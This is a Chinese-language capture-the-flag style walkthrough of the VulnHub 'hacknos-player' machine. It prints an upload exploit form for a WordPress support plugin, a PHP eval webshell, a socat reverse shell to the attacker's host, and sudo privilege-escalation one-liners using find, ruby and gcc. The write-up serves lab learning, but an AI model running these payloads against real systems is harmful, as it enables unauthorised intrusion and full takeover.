hacknos-player靶機滲透
靶機下載地址//www.vulnhub.com/entry/hacknos-player,459/
網絡配置
該靶機可能會存在無法自動分配IP的情況,所以無法掃描到的情況下需要手動配置獲取IP地址。按照鏈接中的操作進行IP分配//blog.csdn.net/asstart/article/details/103433065?utm_source=app
開機按e進入此界面修改指定內容為rw signie init=/bin/bash
完成後Ctrl+X進入shell界面
然後使用dhclient命令獲取IP,再次查看IP
此時已經成功出現IP,重啟即可。
前期摸排
打開發現是apache的默認頁面
端口掃描發現2個端口開放,先嘗試下爆破3306端口
爆破時出現大量錯誤信息,該錯誤信息說明mysql設置了失敗連接次數,導致了MySQL無條件強制阻止我們連接。看來mysql無果,只能嘗試80端口了。
使用dirsearch掃目錄
dirsearch.py -u "//192.168.245.171/" -e * -r -R 3
沒發現有價值的東西,之後嘗試了hackNos、player、Rahul_Gehlaut各種組合來猜解目錄也沒發現有新的目錄存在,我還是太菜了。換了個思路,既然作者只留了80端口有效,那麼在80端口上一定有我疏忽的地方,果不其然,在默認頁面中發現了網站根目錄
眾里尋它千百度 驀然回首 卻在燈火闌珊處~。
發現是wordpross
直接wpscan一把梭,我的wpscan安裝一直出現問題,直接使用了docker版本,這裡因為docker裝在了我的騰訊雲上,我直接把靶機映射到了外網進行掃描,懶得安裝了~
docker run -it --rm wpscanteam/wpscan --url //xx.xx.xx/g@web/
掃描時發現存在有漏洞版本的插件
嘗試枚舉一下用戶
docker run -it --rm wpscanteam/wpscan --url //xx.xx.xx/g@web/ --enumerate u
發現一個可疑接口
//192.168.245.171/g@web/index.php/wp-json/wp/v2/users/?per_page=100&page=1
打開url發現類型密碼字符串hackNos@9012!!,先記下來
中期深入
我們直接在wpvulndb搜索該插件漏洞exp
//wpvulndb.com/search?text=WP Support Plus Responsive Ticket System
選擇一個遠程代碼執行的
可以看到漏洞成因為使用了switch case簡單匹配了黑名單後綴導致可進行繞過,上傳可執行文件
直接將exp copy下來修改提交地址
<form method="post" enctype="multipart/form-data" action="//192.168.245.170/g@web/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="wpsp_upload_attachment">
Choose a file ending with .phtml:
<input type="file" name="0">
<input type="submit" value="Submit">
</form>
我們選擇直接上傳php一句話shell
<?php eval(@$_POST[1]);?>
上傳成功
在上傳目錄中發現我們的shell,打開執行我們的命令。
這裡我們使用socat反彈一個交互式shell
socat是類Unix系統下的一個工具,可以看作是 nc 的加強版。我們可以使用socat來傳遞完整的帶有tty的TCP連接。
控制端:socat file:
tty,raw,echo=0 tcp-listen:8888
打開shell執行我們的命令
1=system("socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.245.170:8888");
可以看到右下角的控制端已經成功接收反彈的shell了
後期提權
使用sudo -l查看sudo權限,發現需要使用密碼,嘗試輸入之前獲取的密碼,無果
切換home目錄發現三個用戶名,嘗試使用密碼hackNos@9012!!挨個登錄
成功登錄security用戶
使用sudo -l 發現可以無密碼以hacknos-boat權限執行find命令
這裡我們直接使用gtfobins工具來查找使用二進制文件執行命令的payload
//gtfobins.github.io/
find命令的-exec參數可以讓我們前面處理過程中過濾出來的文件,使用command命令對其進行處理,我們直接執行/bin/bash
sudo -u hackNos-boat /usr/bin/find . -exec /bin/bash \;
這時獲得了hackNos-boat用戶的權限,再次查看sudo權限,發現可以以hunter用戶執行ruby,那麼直接使用ruby -e 參數,-e的意思就是把後面的字符串當作腳本執行。
sudo -u hunter /usr/bin/ruby -e 'exec "/bin/bash/"'
獲取hunter權限後發現可以以root權限執行gcc命令,我們直接去gtfobins搜索
sudo -u root /usr/bin/gcc -wrapper /bin/bash,-s .
獲取root權限成功,這個-wrapper參數沒查到什麼意思,有師傅知道的話可以告知下。
完結,有段時間沒做過靶機滲透了,發現好多東西都忘了,寫個文章記錄一下防止忘記。加油~